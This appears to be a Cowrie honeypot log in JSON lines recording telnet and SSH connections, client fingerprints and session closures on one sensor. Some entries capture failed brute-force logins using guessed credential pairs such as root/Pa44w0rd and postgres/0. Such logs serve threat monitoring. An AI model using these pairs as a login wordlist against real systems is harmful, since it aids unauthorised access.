{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:39.129566Z","src_ip":"96.78.175.36","session":"dcb7e1e51861","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.960120916366577,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:39.395373Z","src_ip":"174.142.104.49","session":"477c70451310","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ftpdata","password":"ftpdata","message":"login attempt [ftpdata/ftpdata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:39.513061Z","src_ip":"96.78.175.36","session":"dcb7e1e51861","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mc","password":"minecraft","message":"login attempt [mc/minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:39.603859Z","src_ip":"88.205.172.170","session":"8bcca0d2a488","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.082053899765015,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:40.028858Z","src_ip":"193.22.147.168","session":"7a1e8a674036","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.348448514938354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:40.057819Z","src_ip":"174.142.104.49","session":"5be305362744","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.687124967575073,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:40.277109Z","src_ip":"174.142.104.49","session":"c22be59a1cdd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:40.602174Z","src_ip":"96.78.175.36","session":"dcb7e1e51861","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:40.771343Z","src_ip":"88.205.172.170","session":"8bcca0d2a488","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":58026,"dst_ip":"10.17.0.5","dst_port":23,"session":"b00e6bc40d57","protocol":"telnet","message":"New connection: 193.22.147.168:58026 (10.17.0.5:23) [session: b00e6bc40d57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:44.953005Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":60742,"dst_ip":"159.203.135.109","dst_port":23,"session":"51f78b20e3c9","protocol":"telnet","message":"New connection: 174.142.104.49:60742 (159.203.135.109:23) [session: 51f78b20e3c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:46.364131Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":38050,"dst_ip":"159.203.135.109","dst_port":23,"session":"003fa089defb","protocol":"telnet","message":"New connection: 174.142.104.49:38050 (159.203.135.109:23) [session: 003fa089defb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:48.457647Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.105.172.184","src_port":53784,"dst_ip":"159.203.135.109","dst_port":22,"session":"994cbc7ed33c","protocol":"ssh","message":"New connection: 200.105.172.184:53784 (159.203.135.109:22) [session: 994cbc7ed33c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:49.165967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:49.172035Z","src_ip":"200.105.172.184","session":"994cbc7ed33c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:49.292815Z","src_ip":"200.105.172.184","session":"994cbc7ed33c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":51392,"dst_ip":"10.17.0.5","dst_port":23,"session":"92dc3d9eb82a","protocol":"telnet","message":"New connection: 193.22.147.168:51392 (10.17.0.5:23) [session: 92dc3d9eb82a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:49.662759Z"}
{"eventid":"cowrie.session.closed","duration":31.118268728256226,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:49.769263Z","src_ip":"193.22.147.168","session":"0abd8d2b8d71","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test1","password":"pass","message":"login attempt [test1/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:49.806300Z","src_ip":"200.105.172.184","session":"994cbc7ed33c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:50.928798Z","src_ip":"200.105.172.184","session":"994cbc7ed33c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":58034,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b4cfd2eb71d","protocol":"telnet","message":"New connection: 193.22.147.168:58034 (10.17.0.5:23) [session: 3b4cfd2eb71d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:51.102149Z"}
{"eventid":"cowrie.session.closed","duration":32.45482277870178,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:51.110948Z","src_ip":"193.22.147.168","session":"96a10e801ae2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.443049430847168,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:51.183011Z","src_ip":"174.142.104.49","session":"3805130182a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":42794,"dst_ip":"159.203.135.109","dst_port":23,"session":"19ddf8d89d2c","protocol":"telnet","message":"New connection: 161.132.53.68:42794 (159.203.135.109:23) [session: 19ddf8d89d2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:53.934176Z"}
{"eventid":"cowrie.session.closed","duration":30.89591383934021,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:54.464360Z","src_ip":"193.22.147.168","session":"382ac9709c31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":40202,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbc6423e377e","protocol":"telnet","message":"New connection: 174.142.104.49:40202 (159.203.135.109:23) [session: fbc6423e377e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:54.505859Z"}
{"eventid":"cowrie.session.closed","duration":33.26163125038147,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:56.311236Z","src_ip":"193.22.147.168","session":"1821b2e49959","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.225817918777466,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:56.469128Z","src_ip":"174.142.104.49","session":"289a2e8d7c6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":52648,"dst_ip":"159.203.135.109","dst_port":23,"session":"2eafd33f9cba","protocol":"telnet","message":"New connection: 161.132.53.68:52648 (159.203.135.109:23) [session: 2eafd33f9cba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:57.513609Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":34604,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa91ca9c97df","protocol":"telnet","message":"New connection: 104.245.105.2:34604 (10.17.0.5:23) [session: fa91ca9c97df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:57.540693Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":50076,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed6d393f220c","protocol":"telnet","message":"New connection: 174.142.104.49:50076 (159.203.135.109:23) [session: ed6d393f220c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:57.880981Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":45582,"dst_ip":"159.203.135.109","dst_port":23,"session":"428dcccb90fb","protocol":"telnet","message":"New connection: 174.142.104.49:45582 (159.203.135.109:23) [session: 428dcccb90fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:57.899372Z"}
{"eventid":"cowrie.session.closed","duration":30.712575435638428,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:52:59.136520Z","src_ip":"193.22.147.168","session":"3f9e6784c3da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":52660,"dst_ip":"159.203.135.109","dst_port":23,"session":"98f6bb857a81","protocol":"telnet","message":"New connection: 161.132.53.68:52660 (159.203.135.109:23) [session: 98f6bb857a81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:01.926860Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":33116,"dst_ip":"159.203.135.109","dst_port":23,"session":"ece6fa68c98b","protocol":"telnet","message":"New connection: 174.142.104.49:33116 (159.203.135.109:23) [session: ece6fa68c98b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:04.906992Z"}
{"eventid":"cowrie.session.closed","duration":30.48184299468994,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:08.473229Z","src_ip":"174.142.104.49","session":"0fa5d5cba1f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.71845531463623,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:08.972214Z","src_ip":"161.132.53.68","session":"207499c49c3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":36806,"dst_ip":"159.203.135.109","dst_port":23,"session":"4720eaa1a096","protocol":"telnet","message":"New connection: 161.132.53.68:36806 (159.203.135.109:23) [session: 4720eaa1a096]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:09.645162Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":36816,"dst_ip":"159.203.135.109","dst_port":23,"session":"e378657c3e89","protocol":"telnet","message":"New connection: 161.132.53.68:36816 (159.203.135.109:23) [session: e378657c3e89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:11.753575Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":40048,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1c587ac8050","protocol":"telnet","message":"New connection: 193.22.147.168:40048 (10.17.0.5:23) [session: d1c587ac8050]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:13.696467Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.69","src_port":52326,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d0e1dc61227","protocol":"ssh","message":"New connection: 165.154.6.69:52326 (159.203.135.109:22) [session: 6d0e1dc61227]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:14.376898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:14.381580Z","src_ip":"165.154.6.69","session":"6d0e1dc61227","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:14.594359Z","src_ip":"165.154.6.69","session":"6d0e1dc61227","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":36818,"dst_ip":"159.203.135.109","dst_port":23,"session":"af1ac11dea8e","protocol":"telnet","message":"New connection: 161.132.53.68:36818 (159.203.135.109:23) [session: af1ac11dea8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:14.696503Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":40050,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab97d918c1ea","protocol":"telnet","message":"New connection: 193.22.147.168:40050 (10.17.0.5:23) [session: ab97d918c1ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:15.337639Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pa44w0rd","message":"login attempt [root/Pa44w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:15.478424Z","src_ip":"165.154.6.69","session":"6d0e1dc61227","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":36822,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed74dcb7b3d5","protocol":"telnet","message":"New connection: 161.132.53.68:36822 (159.203.135.109:23) [session: ed74dcb7b3d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:15.725963Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:16.694142Z","src_ip":"165.154.6.69","session":"6d0e1dc61227","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.808148622512817,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:16.761029Z","src_ip":"193.22.147.168","session":"b00e6bc40d57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.158.61.194","src_port":38307,"dst_ip":"159.203.135.109","dst_port":23,"session":"178b725d151a","protocol":"telnet","message":"New connection: 136.158.61.194:38307 (159.203.135.109:23) [session: 178b725d151a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:18.949590Z"}
{"eventid":"cowrie.session.closed","duration":33.504966735839844,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:23.167629Z","src_ip":"193.22.147.168","session":"92dc3d9eb82a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.83792734146118,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:23.939969Z","src_ip":"193.22.147.168","session":"3b4cfd2eb71d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67837166786194,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:24.612436Z","src_ip":"161.132.53.68","session":"19ddf8d89d2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":39990,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1217789d87a","protocol":"telnet","message":"New connection: 193.22.147.168:39990 (10.17.0.5:23) [session: d1217789d87a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:25.931482Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":39992,"dst_ip":"10.17.0.5","dst_port":23,"session":"5067d36039bd","protocol":"telnet","message":"New connection: 193.22.147.168:39992 (10.17.0.5:23) [session: 5067d36039bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:26.019868Z"}
{"eventid":"cowrie.session.closed","duration":30.68895649909973,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:28.229495Z","src_ip":"104.245.105.2","session":"fa91ca9c97df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8105731010437,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:28.691457Z","src_ip":"174.142.104.49","session":"ed6d393f220c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89743971824646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:28.796699Z","src_ip":"174.142.104.49","session":"428dcccb90fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"96.78.175.36","src_port":33514,"dst_ip":"10.17.0.5","dst_port":22,"session":"633e4a9466e5","protocol":"ssh","message":"New connection: 96.78.175.36:33514 (10.17.0.5:22) [session: 633e4a9466e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:28.963835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:28.981256Z","src_ip":"96.78.175.36","session":"633e4a9466e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:29.070458Z","src_ip":"96.78.175.36","session":"633e4a9466e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"0","message":"login attempt [postgres/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:29.440293Z","src_ip":"96.78.175.36","session":"633e4a9466e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.940231323242188,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:29.453733Z","src_ip":"161.132.53.68","session":"2eafd33f9cba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:53:30.539890Z","src_ip":"96.78.175.36","session":"633e4a9466e5","protocol":"ssh"}
